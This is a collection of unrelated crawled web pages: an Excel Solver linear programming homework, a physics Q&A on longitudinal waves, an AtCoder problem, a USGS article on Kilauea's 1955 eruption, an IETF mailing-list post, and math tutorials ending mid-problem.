stone suitable for landscaping for each plant is as follows: •Northern plant, 50,000 kg •Southern plant, 75,000 kg Current needs for the upcoming season are for 80,000 kg of suitable stone to meet the demand. To maximize profit for the company, you have been asked to determine which quarries the company should ship the stone from to minimize the transportation costs, subject to the constraints. The following linear program was formulated to determine the quantity of stone to be shipped from each location to the Northern and Southern plants at minimum cost. Minimize: TC (Q1-N, Q1-S, Q2-N, Q2-S, Q3-N, Q3-S) = (1.75Q1-N + 3.50Q1-S + 2.10Q2-N + 1.50Q2-S + 1.20Q3-N + 2.00Q3-S) Subject to: 0.90Q1-N + 0.90Q1-S + 0.70Q2-N + 0.70Q2-S + 0.60Q3-N + 0.60Q3-S= 700,000 kg 0.90Q1-N + 0.70Q2-N + 0.60Q3-N = 50,000 kg 0.90Q1-S + 0.70Q2-S + 0.60Q3-S = 75,000 kg Q1-N,Q1-S, Q2-N, Q2-S, Q3-N, Q3-S = 0 Where: Q1-N represents the quantity in kg transported from Quarry 1 to the Northern plant Q1-S represents the quantity in kg transported from Quarry 1 to the Southern plant Q2-N represents the quantity in kg transported from Quarry 2 to the Northern plant Q2-S represents the quantity in kg transported from Quarry 2 to the Southern plant Q3-N represents the quantity in kg transported from Quarry 3 to the Northern plant Q3-S represents the quantity in kg transported from Quarry 3 to the Southern plant Required Use Excel Solver to respond to the following (An Excel spreadsheet, MA2A1Q5, has been started to facilitate this process). a.Determine the minimum transportation cost given the constraints and the quantity of rock shipped from each quarry to each plant. Include the Solver Answer and Sensitivity Report and show any other calculations. (4 marks) b.Review the sensitivity report: i.Using the result given on the sensitivity report for kg of useable stone processed in Northern plant, explain what the shadow price means for this variable. (If your spreadsheet shows zero, increase the number of decimal places displayed.) (1 mark) ii.How much can the transportation cost to ship the stone from Quarry 2 to the southern plant fluctuate per kg and still remain an optimal solution? (1 mark) c.Keeping the same conditions as part a) (80,000 total kg required): i.Assume that each quarry has a maximum output. The maximum raw stone available from Quarry 1 is 50,000 kg, the maximum from Quarry 2 is 40,000 kg and Q3 can produce 100,000 kg. Determine the total transportation cost for each quarry, the quantity of stone that should be shipped from each quarry to each plant to net 80,000 kg of useable landscaping stone. Include the solver reports and show any other calculations. (2 marks) ii.How does this new information change your answer in part b)(i)? (1 mark) 50
Attachments:
## Plagiarism Checker
Submit your documents and get free Plagiarism report
Free Plagiarism Checker | 2020-08-12 03:02:16 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.1733662486076355, "perplexity": 5602.330677487864}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-34/segments/1596439738864.9/warc/CC-MAIN-20200812024530-20200812054530-00239.warc.gz"} |
https://insidedarkweb.com/physics/is-wavelength-twice-the-amplitude-in-longitudinal-waves-2/ | # Is wavelength twice the amplitude in longitudinal waves?
I knw it sounds dumb, but here is my problem. I can clearly imagine why amplitude has nothing to do with wavelength in a transversal wave, as they are measured along different axes in a graph. But in longitudinal, as particles vibrate along direction of wave propagation, wont twice the amplitude equal the wavelength? I m just comfused because both wavelength and amplitude are about to be measured along the same axis, unlike in transversal.
Physics Asked on November 21, 2021
The amplitude is related to the density of the medium. Here’s a gif that shows a longitudinal wave travelling. The amplitude in this case is maximum number of vertical lines within a unit frame.
And wavelength of course is the minimum (non-zero) distance between two places of same amplitude.
Image reference
Answered by Superfast Jellyfish on November 21, 2021
Amplitude is generally not a distance as such it is not true that the amplitude is twice the wavelength for longitudinal waves.
One way to convince yourself about this is to just think of a regular sound wave. The amplitude of the sound wave basically describes how dense the air is at a given point, more amplitude being related to having more density. On the other hand the wave length of said wave can be anything really as it depends on the frequency of the sound.
Another way to see how that would not work is to note that the amplitude of a sound wave decreases as the wave travels across space whereas its wavelength does not change much. This is why you stop hearing sounds if they are far away. If the amplitude were to be proportional to the wavelength then every sound would become high pitched as it disappeared and that is not what we see happen.
Answered by ThunderSmotch on November 21, 2021
## Related Questions
### Time reversal symmetry of scalar field theory
0 Asked on July 7, 2021
### Background knowledge needed to read the book “Holographic Quantum Matter” by Hartnoll, Lucas, Sachdev?
1 Asked on July 7, 2021
### Four Momentum in an Isotropic and Homogeneous Universe
0 Asked on July 7, 2021
### Time reversal symmetry and quantum spin Hall effect
0 Asked on July 7, 2021 by phys-dag
### Lattice unit cells
2 Asked on July 7, 2021
### Numerical Problems Based On Vernier Callipers
0 Asked on July 7, 2021
### To what extent would it be observable to see a difference in time period of simple pendulum with different angles?
0 Asked on July 7, 2021 by user276286
### Does the structure constant of Yang-Mills field change sign under time reversal?
1 Asked on July 7, 2021
### A concise definition of a frame of reference in Newtonian mechanics?
3 Asked on July 7, 2021 by boonlatot
### Non-orthogonal transformations of the inertia tensor
2 Asked on July 7, 2021 by pimparadum
### Different results for torque in inertial and non-inertial frames of reference
2 Asked on July 7, 2021 by ubaldo-tosi
### If a polarized light wave is indistinguishable from its original self after being flipped 180°, why doesn’t a photon have a spin of two?
4 Asked on July 7, 2021
### Can we define the concept of temperature for a system in non-equilibrium steady state?
0 Asked on July 7, 2021 by hisay-lama
### Dipole matrix element
0 Asked on July 7, 2021
### Friction Block-on Block
3 Asked on July 7, 2021
### How to determine the parity eigenvalues of time-reversal invariant momenta point from first principle calculation when we judge topological insulator?
1 Asked on July 7, 2021 by user15964
### How to model RNA-DNA and DNA-DNA binding as a “string matching” problem in statistical physics?
1 Asked on July 7, 2021
### Interference pattern due to a thin prism and a lens
1 Asked on July 6, 2021 by equation_charmer
### Expression for the causal retarded potential for $t<0$ must give $0$ but my calculation produces a nonzero result. What's the mistake?
2 Asked on July 6, 2021
### How is this process not quasi-static yet reversible?
8 Asked on July 6, 2021
### Ask a Question
Get help from others! | 2021-12-03 11:12:07 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3920685648918152, "perplexity": 1099.713562208229}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964362619.23/warc/CC-MAIN-20211203091120-20211203121120-00567.warc.gz"} |
https://atcoder.jp/contests/arc099/tasks/arc099_d | Contest Duration: ~ (local time) (100 minutes) Back to Home
F - Eating Symbols Hard /
Time Limit: 2 sec / Memory Limit: 1024 MB
### 問題文
はじめ，高橋君が思い浮かべている整数列 A のすべての要素は 0 です． また，整数 P の値は 0 です．
• + を食べた場合，A_P の値が 1 大きくなる．
• - を食べた場合，A_P の値が 1 小さくなる．
• > を食べた場合，P の値が 1 大きくなる．
• < を食べた場合，P の値が 1 小さくなる．
### 制約
• 1 \leq N \leq 250000
• |S| = N
• S の各文字は +, -, >, < のいずれか
### 入力
N
S
### 入力例 1
5
+>+<-
### 出力例 1
3
• (1, 5)
• (2, 3)
• (2, 4)
### 入力例 2
5
+>+-<
### 出力例 2
5
### 入力例 3
48
-+><<><><><>>>+-<<>->>><<><<-+<>><+<<>+><-+->><<
### 出力例 3
475
Score : 1200 points
### Problem Statement
In Takahashi's mind, there is always an integer sequence of length 2 \times 10^9 + 1: A = (A_{-10^9}, A_{-10^9 + 1}, ..., A_{10^9 - 1}, A_{10^9}) and an integer P.
Initially, all the elements in the sequence A in Takahashi's mind are 0, and the value of the integer P is 0.
When Takahashi eats symbols +, -, > and <, the sequence A and the integer P will change as follows:
• When he eats +, the value of A_P increases by 1;
• When he eats -, the value of A_P decreases by 1;
• When he eats >, the value of P increases by 1;
• When he eats <, the value of P decreases by 1.
Takahashi has a string S of length N. Each character in S is one of the symbols +, -, > and <. He chose a pair of integers (i, j) such that 1 \leq i \leq j \leq N and ate the symbols that are the i-th, (i+1)-th, ..., j-th characters in S, in this order. We heard that, after he finished eating, the sequence A became the same as if he had eaten all the symbols in S from first to last. How many such possible pairs (i, j) are there?
### Constraints
• 1 \leq N \leq 250000
• |S| = N
• Each character in S is +, -, > or <.
### Input
Input is given from Standard Input in the following format:
N
S
### Sample Input 1
5
+>+<-
### Sample Output 1
3
If Takahashi eats all the symbols in S, A_1 = 1 and all other elements would be 0. The pairs (i, j) that leads to the same sequence A are as follows:
• (1, 5)
• (2, 3)
• (2, 4)
### Sample Input 2
5
+>+-<
### Sample Output 2
5
Note that the value of P may be different from the value when Takahashi eats all the symbols in S.
### Sample Input 3
48
-+><<><><><>>>+-<<>->>><<><<-+<>><+<<>+><-+->><<
### Sample Output 3
475 | 2020-07-14 16:01:17 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8475733995437622, "perplexity": 5790.3475669925565}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-29/segments/1593655897168.4/warc/CC-MAIN-20200714145953-20200714175953-00482.warc.gz"} |
https://www.usgs.gov/center-news/volcano-watch-1955-eruption-first-lower-puna-1840 | # Volcano Watch — The 1955 eruption: the first in lower Puna since 1840
Release Date:
Tomorrow, February 28, marks the 45th anniversary of the start of the 1955 eruption on Kīlauea's lower east rift zone. This was the first eruption of Kīlauea in an inhabited area (lower Puna) since 1840, and the first on the east rift zone since a small eruption near Makaopuhi Crater in 1923.
Tomorrow, February 28, marks the 45th anniversary of the start of the 1955 eruption on Kīlauea's lower east rift zone. This was the first eruption of Kīlauea in an inhabited area (lower Puna) since 1840, and the first on the east rift zone since a small eruption near Makaopuhi Crater in 1923.
Kīlauea had been essentially hibernating since the collapse of Halemaumau in 1924. Only seven tiny outbreaks occurred in Halemaumau over the next ten years, and then total quiet reigned until 1952. A 136-day eruption in Halemaumau in summer 1952, and a three-day eruption there and on the adjacent caldera floor in May-June 1954, showed that Kīlauea was awakening, and the 1955 eruption was the clincher. Since then, Kīlauea has erupted in 36 of the 45 years, continuously in the last 18.
The 1955 eruption was preceded by increasing seismicity in lower Puna, as recorded by the one seismometer in the area, in Pahoa. From two earthquakes per day in November 1954, the daily number increased to 15 between February 1 and 23. Thereafter many earthquakes were felt at Nanawale Ranch, and the daily number of instrumentally recorded earthquakes jumped to 600 on February 26 and 700 on the 27th. Some of the felt earthquakes had sounds like explosions, and others shook as if a big truck was passing by.
The eruption began at about 8 a.m., when field workers of Olaa Sugar Company and residents of Opihikao village saw fume just southwest of Puu Honuaula. Over the next three days, fissures opened successively downrift from Honuaula, past Puu Kii, to just east of Halekamahina, a distance of 4.5 km (2.8 miles). The vents near Puu Kii erupted a large lava flow that nearly reached the coastline south of Kapoho Beachlots before stagnating on March 7. This flow cut both the Pahoa-Kapoho road and the coastal road south of Kapoho Crater. The Pahoa-Pohoiki road was cut in one place by a flow from the first vent.
On March 3, a new crack opened at the west edge of Kapoho village and quickly extended through the center of town. Lava erupted from it just west of Kapoho but not in the village itself. The crack was along the Kapoho fault, which played an important role in the eruption five years later that destroyed the town.
By March 7 the eruption had stopped, but HVO scientists noted a new swarm of earthquakes, increasing in intensity, coming from the east rift zone on either side of the Pahoa-Kalapana road, 7 km (4 miles) uprift from Honuaula. Police patrolled the roads, and the National Guard made regular aerial reconnaissance. Residents of Kamaili were evacuated because of the danger of lava speeding rapidly down the steep slope farther northwest. Kalapana and Opihikao were also evacuated, because all escape routes to Pahoa were already cut off (roads to Pohoiki) or threatened (road to Kalapana).
Police reported cracks opening on the Pahoa-Kalapana road on the morning of March 12, and lava began to erupt late that afternoon just southeast of Puu Kaliu. From then until March 19, eight new vents opened along the rift zone for 7 km (4 miles) uprift, nearly to Heiheiahulu. The opening was not regular, as with a zipper; instead, the appearance of new vents jumped up and down the rift zone.
A vent between Puu Kaliu and Kamaili fed the Kaueleau lava flow that entered the ocean between Kehena and Opihikao. Several vents upslope from the Pahoa-Kalapana road sent lava into a large flow with two tongues, the Kehena and Keekee flows, that entered the sea at, and just east of, Kehena. In all, 24 main vent areas were active at one time or another during the 88 days of eruption, which ended rather abruptly on May 26.
Next week's column concludes the story of the 1955 eruption with discussions of ground deformation in Puna, Kīlauea's summit deflation, and the societal impacts of an eruption in a populated area.
### Volcano Activity Update
A swarm of earthquakes on February 23 outlined an intrusion of magma into the upper east rift zone of Kīlauea Volcano. The earthquakes started at 1:42 p.m., intensified in frequency and magnitude for several hours, then slowly waned through the night. Electronic tiltmeters recorded a deflation of the summit region and an inflation of the rift zone near Pauahi Crater. The intrusion had minimal effects on the eruption at Puu Oo. Lava continues to flow through a system of tubes toward the coast, but numerous breakouts from the Laeapuki tube system on Pulama pali has reduced the volume of lava reaching the coast. The flow entering the ocean at Laeapuki was weak and intermittent. The eastern flow located near Waha`ula continues to fill the low areas mauka of the shoreline and is also inflating earlier active flows. There is a major breakout on Pulama pali from the tube system of this eastern flow. The public is reminded that the ocean-entry areas are extremely hazardous, with explosions accompanying unpredictable collapses of the new land. The active lava flows are hot and have places with very thin crust. The steam clouds are highly acidic and laced with glass particles.
Residents of Kona and Hawaiian Ocean View Estates felt an earthquake at 1:14 p.m. on Wednesday, February 23. The magnitude-3.5 temblor was located 2 km (1.2 miles) east of Honaunau at a depth of 15.12 km (9.1 miles). Many of the shallow earthquakes associated with the intrusion into the upper east rift zone of Kīlauea were felt by people in the area. The largest earthquake of the swarm at 2:06 p.m. on February 23 was felt throughout the Volcano community and Hawaii Volcanoes National Park. The magnitude-4.0 temblor was located 7 km (4.2 miles) southeast of the summit of Kīlauea at a depth of 2.34 km (1.4 miles). | 2020-07-14 13:45:31 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.21063300967216492, "perplexity": 7702.970823008112}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-29/segments/1593655880665.3/warc/CC-MAIN-20200714114524-20200714144524-00136.warc.gz"} |
http://www.rfc-editor.org/pipermail/rfc-interest/2012-July/004516.html | # [rfc-i] draft-hildebrand-html-rfc
Joe Hildebrand (jhildebr) jhildebr at cisco.com
Sun Jul 8 08:00:01 PDT 2012
On 7/8/12 6:50 AM, "Yoav Nir" <ynir at checkpoint.com> wrote:
>That's pretty nice.
>
>Could you post the source HTML? The one at the link is tooled with all
>the CSS needed to display it.
https://github.com/IETF-Formatters/html-rfc/blob/master/docs/draft-hildebra
nd-html-rfc.html
>Reading the draft, I think the HTML is still going to be more verbose
>than XML2RFC. OTOH HTML can handle images, formulas and tables now,
>whereas it would be an extension to XML2RFC.
The version above, which is what I actually edited before doing "idemponit
--final" to produce what gets published, is less verbose. All of the
paragraph numbers, section numbers, references, etc, are all produced by
the tooling, so it's not nearly as bad as it seems to author.
>Regarding format for formulas, I think it will be a while before we can
>rely on MathML. Testing against
>http://www.mathjax.org/demos/mathml-samples/ , I see that Firefox and
>Safari can handle MathML, but IE and Chrome (the two most popular
>browsers these days) don't, so at least for now, it's a non-starter. SVG
>might work better.
Agree, but I couldn't figure out a good way to do alt text for SVG, and I
didn't want to suggest a format that was less accessible than what we have.
Note that the formula in the draft is produced by tooling; all you do is
set LaTeX source in the alt text (and the height, if you want it a
different size than the default), and the formula.js nit handles the rest.
--
Joe Hildebrand | 2015-11-30 02:39:52 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7001359462738037, "perplexity": 5025.959985681288}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-48/segments/1448398460942.79/warc/CC-MAIN-20151124205420-00336-ip-10-71-132-137.ec2.internal.warc.gz"} |
https://www.gradesaver.com/textbooks/science/chemistry/chemistry-molecular-science-5th-edition/chapter-2-chemical-compounds-questions-for-review-and-thought-applying-concepts-page-90f/123e | ## Chemistry: The Molecular Science (5th Edition)
Published by Cengage Learning
# Chapter 2 - Chemical Compounds - Questions for Review and Thought - Applying Concepts - Page 90f: 123e
#### Answer
$20.3\ g$ $Ne$ has the greater number of atoms.
#### Work Step by Step
Molar mass of $Ne$ $\approx 20.18\ g/mol$. So: 1 mol $Ne$ $\approx$ 20.18\ g Since we are comparing the number of moles for the same specie (Ne), a greater mass means a greater number of atoms. So: $20.3g > 20.18g$ Thus: $20.3\ g$ $Ne$ has more atoms than $1$ mol $Ne$
After you claim an answer you’ll have 24 hours to send in a draft. An editor will review the submission and either publish your submission or provide feedback. | 2020-09-19 19:38:06 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6368169188499451, "perplexity": 2399.650173933451}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-40/segments/1600400192783.34/warc/CC-MAIN-20200919173334-20200919203334-00655.warc.gz"} |
https://nrich.maths.org/10096 | Prompt Cards
These two group activities use mathematical reasoning - one is numerical, one geometric.
Consecutive Numbers
An investigation involving adding and subtracting sets of consecutive numbers. Lots to find out, lots to explore.
Exploring Wild & Wonderful Number Patterns
EWWNP means Exploring Wild and Wonderful Number Patterns Created by Yourself! Investigate what happens if we create number patterns using some simple rules.
First Connect Three for Two
Age 7 to 11 Challenge Level:
Here's a game to play with an adult!
How do you play?
You'll need an adult to play with.
You'll also need a board to play on, two 1-6 dice, and counters in two different colours. Alternatively, you could use the interactive version below (scroll down a little).
In this game the winner is the first to complete a row of three, either horizontally, vertically or diagonally.
Roll the dice, place each dice in one of the squares and decide whether you want to add or subtract to produce a total shown on the board. Your total will then be covered with a counter.
You cannot cover a number which has already been covered.
If you are unable to find a total which has not been covered you must Pass.
Are there some numbers that you should be aiming for? Why?
Which number on the grid is the easiest to get? Why?
Which number is the most difficult to get? Why?
Easier version: try changing the board so that only the numbers $1$-$12$ are included. | 2021-01-17 09:05:09 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2112894356250763, "perplexity": 1401.2039686170763}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-04/segments/1610703511903.11/warc/CC-MAIN-20210117081748-20210117111748-00588.warc.gz"} |
https://www.aminer.cn/pub/5f1024d991e01168a7d6fc90/computational-logic-for-biomedicine-and-neurosciences | # Computational Logic for Biomedicine and Neurosciences
Abdorrahim Bahrami
Joelle Despeyroux
Amy Felty
Pietro Lió
Abstract:
We advocate here the use of computational logic for systems biology, as a \emph{unified and safe} framework well suited for both modeling the dynamic behaviour of biological systems, expressing properties of them, and verifying these properties. The potential candidate logics should have a traditional proof theoretic pedigree (including...More
Code:
Data: | 2020-10-23 08:01:44 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8476141691207886, "perplexity": 5216.94711762008}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-45/segments/1603107880878.30/warc/CC-MAIN-20201023073305-20201023103305-00289.warc.gz"} |
https://www.mathwarehouse.com/algebra/rational-expression/how-to-multiply-divide-rational-expressions.php | Unfortunately, in the last year, adblock has now begun disabling almost all images from loading on our site, which has lead to mathwarehouse becoming unusable for adlbock users.
# How to Multiply & Divide Rational Expressions
Steps for multiplying & Dividing Rational Expressions
### Practice Problems
##### Problem 1
Step 1
Factor each numerator and denominator.
\begin{align*} \frac{x-4}{x^2 + 6x -7} \cdot \frac{x^2 + 4x - 5}{x^2 + 7x + 10} = \frac{x-4}{(x + 7)(x - 1)} \cdot \frac{(x + 5)(x - 1)}{(x+5)(x+2)} \end{align*}
Step 2
Write the product as a single fraction.
\begin{align*} \frac{x-4}{(x + 7)(x - 1)} \cdot \frac{(x + 5)(x - 1)}{(x+5)(x+2)} = \frac{(x-4)(x + 5)(x - 1)}{(x + 7)(x - 1)(x+5)(x+2)} \end{align*}
Step 3
Divide out the common factors.
\begin{align*} \frac{(x-4)(x + 5)(x - 1)}{(x + 7)(x - 1)(x+5)(x+2)} & = \frac{(x-4)\cancelred{(x + 5)}\cancelred{(x - 1)}}{(x + 7)\cancelred{(x - 1)}\cancelred{(x+5)}(x+2)}\\[6pt] & = \frac{x-4}{(x + 7)(x+2)};\quad x \neq -5, 1 \end{align*}
Note that we keep track of the $$x$$-values that would cause the calculation to be undefined at any step.
Step 4
(Optional) Some instructors will ask you to expand the numerator and denominators when possible.
\begin{align*} \frac{x-4}{(x + 7)(x+2)} = \frac{x-4}{x^2 + 9x + 14} \end{align*}
Note: The answer should include the restrictions we found in Step 3.
\begin{align*} \frac{x-4}{x^2 + 6x -7} \cdot \frac{x^2 + 4x - 5}{x^2 + 7x + 10} = \frac{x-4}{(x + 7)(x+2)};\quad x \neq -5, 1 \end{align*}
##### Problem 2
Step 1
Factor the numerators and denominators.
\begin{align*} \frac{4x^2+12x}{x^2 - 3x - 18}\cdot \frac{x-6}{x^2 - 8x} = \frac{4x(x + 3)}{(x - 6)(x + 3)}\cdot \frac{x-6}{x(x - 8)} \end{align*}
Step 2
Write the product as a single fraction.
\begin{align*} \frac{4x(x + 3)}{(x - 6)(x + 3)}\cdot \frac{x-6}{x(x - 8)} = \frac{4x(x + 3)(x-6)}{x(x - 8)(x - 6)(x + 3)} \end{align*}
Step 3
Divide out the common factors.
\begin{align*} \frac{4x(x + 3)(x-6)}{x(x - 8)(x - 6)(x + 3)} & = \frac{4\cancelred{x}\cancelred{(x + 3)}\cancelred{(x-6)}}{\cancelred{x}(x - 8)\cancelred{(x - 6)}\cancelred{(x + 3)}}\\[6pt] & = \frac{4}{x - 8}; \quad x \neq -3, 0, 6 \end{align*}
\begin{align*} \frac{4x^2+12x}{x^2 - 3x - 18}\cdot \frac{x-6}{x^2 - 8x} = \frac{4}{x - 8}; \quad x \neq -3, 0, 6 \end{align*}
##### Problem 3
Step 1
Factor the numerators and the denominators.
\begin{align*} \frac{2x^2 + 5x + 2}{4x^2 + 21x + 27}\cdot \frac{16x^2 - 81}{8x^2 - 14x - 9} = \frac{(2x+ 1)(x + 2)}{(x + 3)(4x + 9)}\cdot \frac{(4x - 9)(4x + 9)}{(2x+1)(4x-9)} \end{align*}
Step 2
Rewrite the product as a single fraction.
\begin{align*}{(2x+ 1)(x + 2)}{(x + 3)(4x + 9)}\cdot \frac{(4x - 9)(4x + 9)}{(2x+1)(4x-9)} = \frac{(2x+ 1)(x + 2)(4x - 9)(4x + 9)}{(x + 3)(4x + 9)(2x+1)(4x-9)} \end{align*}
Step 3
Divide out the common factors.
\begin{align*} \frac{(2x+ 1)(x + 2)(4x - 9)(4x + 9)}{(x + 3)(4x + 9)(2x+1)(4x-9)} & = \frac{\cancelred{(2x+ 1)}(x + 2)\cancelred{(4x - 9)}\cancelred{(4x + 9)}}{(x + 3)\cancelred{(4x + 9)}\cancelred{(2x+ 1)}\cancelred{(4x - 9)}}\\[6pt] & = \frac{x + 2}{x + 3}; \quad x \neq -\frac 9 4, -\frac 1 2, \frac 9 4 \end{align*}
\begin{align*} \frac{2x^2 + 5x + 2}{4x^2 +21x + 27}\cdot \frac{16x^2 - 81}{8x^2 - 14x - 9} = \frac{x + 2}{x + 3}; \quad x \neq -\frac 9 4, -\frac 1 2, \frac 9 4 \end{align*}
##### Problem 4
Step 1
Factor the numerators and denominators.
\begin{align*} \frac{7x^2 - 12x - 4}{5x+1}\cdot \frac{5x^2 - 19x - 4}{3x^2 - 18x + 24} = \frac{(x - 2)(7x + 2)}{5x+1}\cdot \frac{(x - 4)(5x + 1)}{3(x - 4)(x - 2)} \end{align*}
Step 2
Rewrite the product as a single fraction.
\begin{align*} \frac{(x - 2)(7x + 2)}{5x+1}\cdot \frac{(x - 4)(5x + 1)}{3(x - 4)(x - 2)} = \frac{(x - 2)(7x + 2)(x - 4)(5x + 1)}{3(5x+1)(x - 4)(x - 2)} \end{align*}
Step 3
Divide out the common factors.
